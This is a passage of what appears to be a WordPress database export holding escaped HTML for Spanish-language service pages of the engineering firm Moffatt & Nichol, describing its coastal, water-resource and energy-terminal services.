</div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">transporte de sedimentos</h1>\r\nEl análisis del transporte de sedimentos de Moffatt & Nichol examina los cambios en el equilibrio de un medioambiente costero que resulta típicamente de acontecimientos naturales (por ejemplo, tormentas) o artificiales (por ejemplo, dragados) que vuelven a colocar el sedimento. Estos análisis son utilizados para predecir los resultados de un acontecimiento o los impactos potenciales de un proyecto mediante el examen de la evolución física del área después de dicho acontecimiento. Los mecanismos físicos examinados incluyen la erosión o deposición como resultado de corrientes existentes o cambios a las corrientes, olas, mareas o a los parámetros del agua (como la densidad, temperatura o composición).\r\n\r\nPara examinar el transporte de sedimentos, la erosión y la deposición, Moffatt & Nichol utiliza métodos analíticos eficientes y comprobados, desarrollados en forma interna, así como sofisticados modelos numéricos comerciales y de dominio público. Moffatt & Nichol ha aplicado estos métodos extensamente en todo el mundo para proyectos de mejoras o daños de riberas y puertos, incluyendo algunos de los mayores proyectos de profundización de canales emprendidos en los Estados Unidos (como el estudio de profundización del puerto de Nueva York/Nueva Jersey).\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/ecosystem.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">restauración del ecosistema</h1>\r\nEn la relativamente nueva era de toma de conciencia del ecosistema, Moffatt & Nichol proporciona frecuentemente servicios de planeamiento, científicos y de ingeniería para proyectos que implican la conservación, mejora o restauración. A menudo, dichos proyectos son componentes de mitigación que permiten que se desarrollen proyectos más grandes que, como tales, están sujetos a mayor escrutinio debido a la participación de los organismos reguladores. Estos componentes usualmente aumentan el número de partes interesadas, incrementan la visibilidad de un proyecto y pueden necesitar una gran coordinación entre dichas partes interesadas: el público, los organismos gubernamentales y las organizaciones no gubernamentales. \r\n\r\nPara dichos proyectos, las estrategias de mejora con frecuencia implican la modificación de los parámetros del agua en el ecosistema (por ejemplo, cambiando el flujo entrante o la distribución de agua dulce o salada), proporcionando ubicaciones/regímenes mejorados para la flora y fauna y protegiendo dichas mejoras contra los cambios adversos (como la estabilización de riberas). Habiendo tratado cada uno de estos aspectos en muchos proyectos de restauración exitosa, Moffatt & Nichol ofrece su experimentado personal con una sólida trayectoria de éxito en proporcionar planeamiento, modelación numérica, gestión de autorizaciones, ingeniería, diseño, servicios de construcción, participación ciudadana y supervisión de proyectos de restauración del ecosistema.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/regionalsend.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">gestión regional de la arena</h1>\r\nHistóricamente, los proyectos de mejora de riberas fueron planeados y diseñados caso por caso, independientemente de sus impactos potenciales en las riberas vecinas o en todo el sistema del litoral. Dichos proyectos han sido considerados más recientemente sobre una base regional, particularmente en el caso de proyectos relacionados con la colocación de arena. Como parte del planeamiento de dichos proyectos, Moffatt & Nichol ha proporcionado a organismos federales, estatales y locales servicios que han incluido la participación de las partes interesadas y de la ciudadanía, la modelación del transporte de sedimentos, análisis del cambio de la ribera y otros estudios integrales de toda la zona del litoral, a fin de ayudarles a manejar los sedimentos costeros como un recurso regional o para coordinar esfuerzos de protección de la ribera entre comunidades costeras vecinas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/beach_nourishment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">recuperación de playas</h1>\r\nDada la naturaleza dinámica de la costa, muchas de las riberas del mundo experimentan cambios impresionantes que pueden hacer necesaria cierta intervención para preservar las oportunidades recreacionales o para proteger la infraestructura existente. Durante décadas, Moffatt & Nichol ha completado con éxito proyectos de recuperación de playas para muchos clientes públicos y privados que comprenden desde el gobierno federal (playas en centros urbanos importantes) hasta corporaciones individuales (playas aisladas en centros turísticos). En apoyo de esos proyectos, Moffatt & Nichol ha proporcionado planeamiento, gestión de autorizaciones, participación de la comunidad, modelación y análisis de la ribera, desarrollo del presupuesto del litoral, análisis de daños y beneficios de tormentas, determinación y evaluación de fuentes de arena y alternativas de dragado, ingeniería, diseño, preparación de documentación de construcción y servicios de licitación y construcción.\r\n\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/intel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">gestión de bocas de entrada</h1>\r\n Las bocas de entrada están entre los elementos más importantes de los sistemas costeros. Físicamente, son primordiales para el funcionamiento de los procesos del litoral y por lo tanto determinan el comportamiento de la ribera mediante el control de dichos procesos en su región. Por ejemplo, permiten el intercambio de agua, sedimento y nutrientes entre las bahías y los océanos y juegan un papel muy importante en los procesos de evolución de las islas de barrera, además de tener un gran impacto en la estabilidad de las riberas adyacentes y en la propagación de la marejada ciclónica en bahías interiores. Además, proporcionan acceso de navegación importante, y con frecuencia irreemplazable, entre esas bahías interiores resguardadas y el mar abierto. \r\n \r\nLa correcta gestión de las bocas de entrada requiere una profunda comprensión y amplia evaluación de la dinámica de la entrada y la ribera. Moffatt & Nichol ha perfeccionado las habilidades y herramientas que utiliza para analizar dichas dinámicas y otros problemas relevantes mediante el análisis y la evaluación de algunas de las bocas de entrada costeras más importantes y dinámicas de Norteamérica. Esta experiencia incluye:\r\n<ul>\r\n<li>Análisis de estabilidad (bocas de entrada individuales y múltiples)</li>\r\n<li>Abertura de la isla de barrera y nuevo desarrollo de bocas de entrada</li>\r\n<li>Evolución del bajío de marea baja y de inundación</li>\r\n<li>Presupuestos de sedimentos</li>\r\n<li>Modelación detallada de olas, hidrodinámica, transporte de sedimentos y morfológico</li>\r\n<li>Estimaciones de asomeramiento de canales</li>\r\n<li>Estructuras de estabilización</li>\r\n<li>Sistemas de derivación mecánicos</li>\r\n<li>Análisis de navegación</li>\r\n<li>Optimización de canales de bocas de entrada (disposición y dimensiones)</li>\r\n<li>Evaluación de impactos de bocas de entrada en la hidrodinámica de la bahía y la calidad del agua</li>\r\n</ul>\r\n&nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/dragged-material.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">gestión de material dragado y su reutilización beneficiosa</h1>\r\nHistóricamente, el material dragado era considerado como “escombros” para desechar mientras que el material dragado más recientemente ha sido reconocido como un recurso valioso para la creación de humedales, recuperación de playas y otros proyectos similares. Con nuestra especialización en ingeniería costera, Moffatt & Nichol ha trabajado continuamente desde su fundación en planes y proyectos de gestión de materiales dragados, incluyendo muchos relacionados con la reutilización beneficiosa de dicho material. Particularmente, Moffatt & Nichol tiene un extenso y exitoso historial de experiencia con proyectos de dragado para el Cuerpo de Ingenieros del Ejército de EE.UU., varias autoridades portuarias y gobiernos internacionales. Los proyectos típicos incluyen el dragado y la colocación de materiales en altiplanicies, riberas, áreas cercanas a la costa y costa afuera, realizados por diferentes razones, que incluyen la profundización de atracaderos, cuencas y canales de navegación, el dragado de emergencia o mantenimiento, la creación o restauración de hábitats/tierras/puertos, otras aplicaciones beneficiosas y la reactivación de antiguos lugares de colocación.\r\n\r\nMuchos de nuestros proyectos de dragado han implicado la modelación numérica de alta gama hidrodinámica y de destino del sedimento (uni-, bi- y tridimensional) e incluyeron la gestión de autorizaciones, estrategias de gestión de largo plazo, planes de gestión de materiales dragados o la documentación de la construcción. También tenemos la capacidad de proporcionar estimaciones de la cantidad “basadas en el riesgo” y opiniones de costos probables en casos en los que el diseño del proyecto utiliza un criterio de riesgo aceptable para el diseño. Hemos completado el dragado para proyectos que varían desde cantidades tan pequeñas como 5.000 yardas cúbicas, hasta la creación de áreas sin edificar adyacentes a puertos que implicaban 26 millones de yardas cúbicas (el proyecto más grande de creación de terreno en los Estados Unidos.)\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-transportion.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">vulnerabilidad del sistema de transporte costero </h1>\r\nA medida que la densidad demográfica continúa aumentando cerca de nuestras costas y se construye infraestructura para apoyar ese aumento, la vulnerabilidad de dicha población e infraestructura al daño de tormentas costeras, así como a un daño más gradual debido a cambios de largo plazo, se ha convertido en un foco de atención mientras los gobiernos intentan presupuestar los gastos iniciales y de mantenimiento. Como la historia demuestra, estos aumentos en la población y la infraestructura han llevado a aumentos correspondientes en los presupuestos, lo que puede ser agravado por su asignación a áreas más vulnerables. Para colaborar con el manejo de estos gastos, Moffatt & Nichol proporciona una gama completa de servicios de planeamiento e ingeniería costeros decisivos para determinar correctamente la vulnerabilidad y para formular los criterios de diseño apropiados que afectan al desarrollo. Por ejemplo, la determinación de la vulnerabilidad de posibles instalaciones de transporte costeras puede afectar la selección de rutas o ubicaciones más rentables. \r\n \r\nLas especialidades de Moffatt & Nichol relacionadas con la determinación de la vulnerabilidad incluyen la modelación hidrodinámica, el análisis retrospectivo del oleaje y el análisis estadístico para determinar los criterios de diseño para la elevación de la marejada ciclónica, la elevación de la altura de la ola y la dirección y magnitudes de la corriente. Estas determinaciones proporcionan la base para los análisis morfológicos costeros, los análisis de socavación, los análisis de colisión de buques y la gestión de aguas pluviales que afectan la localización y el diseño de caminos y puentes costeros.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/hydraulic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">estructuras hidráulicas</h1>\r\nA través de la historia, el hombre ha tratado de controlar, o al menos influir, en las corrientes y los ríos para evitar inundaciones o para mejorar el suministro y la calidad del agua, la navegación, la agricultura y el suministro de energía. Moffatt & Nichol es experto en el planeamiento y diseño de estructuras hidráulicas utilizadas para modificar corrientes y ríos, al mismo tiempo que protege la vida, la propiedad y el medioambiente. Esta experiencia incluye diques fluviales, vertederos, muros de protección contra inundaciones, presas, estructuras hidráulicas de control de flujo, esclusas, compuertas de marea, desvíos de flujo, sifones invertidos, reservorios, lagunas de retención, salidas, desembocaduras, alcantarillas y una variedad de canales naturales y artificiales.</a>\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-structures.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">estructuras costeras </h1>\r\nEn cuanto a otros aspectos en el área de especialización de la ingeniería costera, Moffatt & Nichol ha participado por mucho tiempo en el planeamiento y diseño de estructuras costeras: rompeolas, malecones, diques marítimos, espigones, escolleras, muros de retención, etc., para proteger/estabilizar/controlar secciones de líneas costeras, bocas de entrada, puertos y definir las interfaces tierra/agua. Hemos planeado, analizado y diseñado estructuras costeras en todos los ambientes de frentes costeros:\r\n<ul>\r\n<li>desde líneas costeras abiertas con aguas profundas y exposición a tsunamis hasta bahías protegidas con aguas poco profundas y consideraciones acerca de seiches y la sobreelevación del nivel del mar por oleaje. </li>\r\n<li>desde el Ártico, donde el hielo puede determinar los parámetros de diseño, hasta el Ecuador, donde la corrosión puede, y </li>\r\n<li>desde suelos débiles que proporcionan poco apoyo al lecho de roca expuesto</li>\r\n</ul>\r\nEsta amplitud de experiencia y conocimientos sobre estructuras costeras ha sido reconocida al habernos elegido para completar los manuales de diseño de estructuras de frentes costeros para la Marina de EE.UU. y el Cuerpo de Ingenieros del Ejército de EE.UU.\r\n\r\nYa sea que se diseñen directamente o que se proporcione información a otras disciplinas para su diseño, el diseño de estructuras costeras se apoya en los resultados de varios análisis costeros en los que somos expertos, es decir, análisis estadísticos (viento, olas, corrientes, marejadas ciclónicas), modelación numérica y física incluyendo cambios morfológicos costeros, o la determinación de carga hidrodinámica. Por ejemplo, nuestros ingenieros costeros determinan regularmente las cargas hidrodinámicas para que nuestros ingenieros estructurales de frentes costeros las utilicen como una de las cargas dinámicas que serán consideradas durante el diseño de la estructura. Estamos muy familiarizados con los problemas, muchos de ellos únicos, pertinentes al diseño y la construcción de estructuras de zonas costeras, incluyendo el análisis de riesgo, la selección de materiales, la factibilidad de construcción del sistema estructural y las implicaciones de costos de cada uno. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/modeling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">navegación/amarre/atraque de buques</h1>\r\nA medida que las demandas comerciales y recreacionales aumentan, el tamaño y la cantidad de buques que utilizan puertos y vías navegables en el mundo aumentan, lo que puede llevar a diversos problemas y conflictos de navegación. Desde nuestra fundación en 1945 por parte de ingenieros especializados en puertos, Moffatt & Nichol ha participado en proyectos de planeamiento y diseño de navegación formulados para aliviar dichos problemas y conflictos de navegación. Por consiguiente, hemos realizado estudios de navegación en todo el mundo para una larga lista de clientes, usualmente organismos gubernamentales, pero también para compañías privadas (como empresas de energía, de defensa, fabricantes o expedidores). Además de los estudios de navegación, periódicamente realizamos estudios de amarre y atraque de buques. Estos estudios utilizan modelos numéricos avanzados que examinan las maniobras y el movimiento de buques tanto durante su tránsito como mientras está atracado.\r\n  \r\n<strong>Navegación de buques.</strong> Los estudios de navegación de buques generalmente evalúan las características existentes y propuestas de la vía navegable para las condiciones sin proyecto y con proyecto mediante el análisis de parámetros tales como la utilización/operación del buque, las prácticas de navegación y la gestión de la vía navegable. Moffatt & Nichol tiene gran experiencia en proporcionar tales estudios, incluyendo aspectos tales como los análisis/impactos económicos, análisis/impactos del transporte, características de funcionamiento e hidrodinámica del movimiento del buque y la evaluación cualitativa y cuantitativa de los riesgos, lo que implica el análisis estadístico para las alternativas consideradas. Esta experiencia incluye simulaciones de puente en escritorio y en misión completa de las maniobras del buque en vías navegables, puertos y carriles de navegación para una gama completa de condiciones potenciales de viento, olas y corrientes.\r\n\r\n<strong>Amarre/Atraque.</strong> Moffatt & Nichol utiliza una variedad de modelos de computadora para análisis estáticos y dinámicos de los buques amarrados a estructuras de frentes costeros y amarres costa afuera (de un punto y de múltiples puntos). Los modelos se utilizan para evaluar las operaciones de buques/carga de contenedores, movimientos del buque, cargas de amarre, requisitos de defensas y condiciones medioambientales limitantes (por ejemplo, el tiempo de inactividad asociado con las inclemencias del tiempo, los criterios de evacuación para tormentas severas, la necesidad de ayuda de un remolcador o la necesidad de protección del atraque).\r\n\r\nUsando los resultados de dichos estudios, Moffatt & Nichol ha seguido desarrollando las alternativas seleccionadas mediante el proceso de diseño y construcción. Los proyectos típicos han incluido canales de navegación/cuencas de retorno, dragado, ayudas de navegación, instalaciones de amarres, operaciones de lanchaje, control de ríos, sistemas de defensas y mejoras de la estructura del frente costero.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n    <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/water-resourses.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"12\">recursos hídricos</h1>\r\nCon los cambios de población y las demandas de infraestructura correspondientes, la gestión de la divisoria de aguas se ha convertido en un problema importante en muchos lugares donde anteriormente la población era indiferente, mientras que en otros, con una mayor conciencia de la sostenibilidad, se ha convertido en la preocupación principal que afecta al desarrollo. Para tratar estas preocupaciones, Moffatt & Nichol ha preparado estudios de recursos hídricos que han examinado en detalle y cuidadosamente las divisorias de aguas y las alternativas para manejar este activo en beneficio de la comunidad. Para estos estudios, Moffatt & Nichol ha suministrado el planeamiento, modelación, análisis, soluciones alternativas, participación ciudadana, gestión de autorizaciones, ingeniería, diseño, documentación de la construcción y servicios de licitación y construcción para que los proyectos mejoren o solucionen los problemas de gestión de agua para tareas que comprenden desde iniciativas de grandes divisorias de aguas o problemas de drenaje de subdivisiones hasta el impacto de las escorrentías sobre propietarios individuales.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/storm-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"13\">gestión de aguas pluviales</h1>\r\nLa gestión de aguas pluviales como un medio para reducir las inundaciones o el impacto sobre la calidad del agua causado por las escorrentías se ha convertido en un área de creciente interés de parte de la ciudadanía y de los organismos gubernamentales a medida que aumenta su conciencia de estos agresores del medioambiente. Con esta creciente atención, se ha desarrollado el interés en un tratamiento y una gestión más pequeños y proactivos de las aguas pluviales, cerca de la fuente de la escorrentía, en comparación con el tratamiento de la escorrentía más cerca de su destino. Moffatt & Nichol ha realizado proyectos de aguas pluviales que implicaban solicitudes de subvenciones, planeamiento/restauración de la divisoria de aguas, análisis de llanuras inundables, modelación hidrológica/hidráulica integrada, apoyo para gestión de autorizaciones, mejores prácticas de gestión de aguas pluviales, estructuras hidráulicas, sistemas de bombeo, mitigación de impactos, integración GIS/GPS, coordinación de diferentes organismos y participación ciudadana.\r\n      \r\nHemos completado estos proyectos en una amplia gama de escenarios hidrológicos y topográficos: montañas, colinas y valles costeros, pero proporcionamos excepcionales capacidades para tratar dichos proyectos en valles costeros. En regiones costeras, los problemas de gestión de aguas pluviales son especialmente complejos porque el bajo relieve en topografía y las altas capas freáticas limitan la colocación y con frecuencia afectan el rendimiento de las mejores prácticas de gestión de aguas pluviales convencionales. Como resultado de nuestro enfoque en la región costera, Moffatt & Nichol está muy familiarizado con prácticas menos convencionales, casi atípicas, que funcionan bajo estas complejas condiciones. Como parte de esta familiaridad y de nuestra utilización de modelos numéricos complejos en el ambiente costero, Moffatt & Nichol también proporciona experiencia profesional especializada en la evaluación de problemas de aguas pluviales costeras, que incluyen el uso de modelos de agua superficial/agua subterránea combinadas para analizar su flujo y captación.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/air-sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"14\">análisis de aire, sedimentos y calidad del agua</h1>\r\nPara ayudar a nuestros clientes a responder a los pedidos de los diferentes organismos reguladores que controlan la gestión de autorizaciones de proyectos de frentes costeros y zonas costeras, Moffatt & Nichol ha utilizado modelos numéricos existentes y ha desarrollado un modelo computacional basado en actividades para estimar los efectos de posibles proyectos sobre los sedimentos, el agua o la calidad del aire en la cercanía de dichos proyectos. Estos modelos también se utilizan para desarrollar y examinar alternativas de tratamiento de los sedimentos, del agua o de la calidad del aire durante la construcción del proyecto y posteriormente durante la operación.\r\n  \r\nPara la gestión de sedimentos, Moffatt & Nichol utiliza modelos numéricos muy sofisticados a fin de estudiar el incremento, la erosión y el dragado del sedimento. Modelos similares de las prácticas actuales se utilizan para analizar la calidad del agua de las masas de agua de ríos, estuarios y costas. Por ejemplo, Moffatt & Nichol ha realizado varios proyectos que requerían el retiro, la colocación y el aislamiento de sedimentos contaminados para evitar su reintroducción al medioambiente y los riesgos ecológicos potenciales asociados con dicha reintroducción. Estos proyectos generalmente usan instalaciones de contención que aíslan los sedimentos tratados químicamente en áreas de colocación en altiplanicies, cerca de la costa, costa afuera o en el subsuelo; Moffatt & Nichol ha modelado dichas instalaciones en todas las etapas de su realización.\r\n\r\nComo parte de la obtención de las autorizaciones para proyectos dentro de áreas de emisión de aire delicadas, Moffatt & Nichol ha desarrollado un modelo computacional basado en actividades que cuantifica las emisiones de aire e integra los factores de emisión de aire aceptados por la Agencia para la Protección del Medioambiente (EPA, por sus siglas en inglés) con modelos de planeamiento operativo desarrollados por Moffatt & Nichol. Este modelo se ha utilizado para modelar aspectos de la emisión en proyectos de desarrollo portuario en áreas muy urbanizadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/vesel-new.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"15\">estudios de maniobras y tráfico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de Simulación para Modelación Alternativa (SLAM, por sus siglas en inglés).  Este modelo también incluye un módulo de gráficos que proporciona una visualización animada en pantalla de los resultados.  Pueden hacerse análisis del tráfico de buques en puertos, vías navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilización de un puerto.  Moffatt & Nichol ha desarrollado un modelo avanzado de tráfico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el tráfico de naves comerciales en puerto hasta operaciones de tráfico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/watershed.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"17\">restauración de la divisoria de aguas</h1>\r\n Han ocurrido impactos negativos sobre la calidad del agua y el hábitat acuático en los ríos, corrientes, lagos, estuarios y humedales de Estados Unidos a causa de varios efectos a lo largo del tiempo. La restauración de la divisoria de aguas busca devolver algunos de estos ecosistemas a condiciones aproximadamente iguales a las que tenía previas a las alteraciones. Esto requiere la implementación integral de diversas soluciones o proyectos para los cuales Moffatt & Nichol puede proporcionar una gama completa de servicios de planeamiento, modelación numérica, diseño de ingeniería y construcción, necesarios para que dichos proyectos tengan éxito.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n\r\n','Servicios de recursos costeros, medioambientales e hídricos','','publish','open','open','','coastal-environmental-and-water-resources-services','','','2013-01-14 06:14:44','2013-01-14 06:14:44','',51,'http://moffattnichol.com/spanish/?page_id=526',0,'page','',0),(537,1,'2011-11-11 14:20:17','2011-11-11 14:20:17','<div class=\"content_faq\">\r\n<h3>servicios de energía</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/liquid-bulk.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">terminales de carga líquida a granel</h1>\r\nLas instalaciones de terminales marítimas de carga líquida a granel tienen requisitos especiales. Moffatt &amp; Nichol proporciona una gama completa de servicios de planeamiento, diseño y gestión de la construcción para una variedad de sistemas de carga de graneles líquidos, incluyendo terminales marítimas petroleras grandes y pequeñas, instalaciones de descarga de gas licuado de petróleo (GLP), sistemas de amarre de buque tanques de boya múltiple y de amarres de un solo punto costa afuera. Nuestras capacidades de ingeniería comprenden desde el diseño marítimo, civil y estructural hasta sistemas de carga y descarga y sistemas de protección contra incendios, diseño medioambiental, de dragado y de protección costera para instalaciones de carga líquida a granel en todo el mundo.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/lng-terminal.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">Terminales de GNL</h1>\r\nDurante décadas, Moffatt &amp; Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas. La firma ofrece una gama completa de servicios de consultoría de ingeniería para el diseño y la gestión de la construcción para instalaciones de gas natural licuado (GNL). Nuestros ingenieros y científicos han participado en casi todos los aspectos del planeamiento y la ingeniería de instalaciones de GNL, desde la etapa previa al estudio FEED y la ingeniería FEED hasta el análisis de tráfico de buques, el dragado y el diseño estructural. Hemos proporcionado estos servicios en más de veinte importantes proyectos de GNL en Asia, África, Canadá, México y los Estados Unidos, en algunos de los ambientes marinos más difíciles del mundo.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/wind-power.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">Energía eólica costa afuera</h1>\r\nMoffatt &amp; Nichol está posicionado en forma singular para ayudar a sus clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestra experiencia profesional en ingeniería costera, ingeniería estructural y cimentaciones, planeamiento de construcción marítima y desarrollo de instalaciones marítimas, con nuestros servicios de evaluación económica y financieros para ayudar a nuestros clientes a entregar estos proyectos. La industria de la energía eólica debe enfrentar varios desafíos para desarrollar códigos y estándares de diseño que reflejen las condiciones extremas de oleaje y tormentas presentes en muchos lugares de proyectos costa afuera en todo el mundo. Moffatt &amp; Nichol, un líder reconocido internacionalmente en ingeniería costera y marítima/de costa afuera, ayuda a sus clientes a definir y aplicar los criterios de diseño que producirán instalaciones duraderas y operacionalmente confiables. Aportamos nuestra comprobada experiencia profesional interna en una gama completamente integrada de servicios, desde estudios de factibilidad y selección del lugar, hasta el diseño, planeamiento de la construcción y apoyo en las operaciones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\"><div class=\"box_green-ports\"><img class=\"alignnone size-full wp-image-2710\" title=\"ocean-wind-power\" 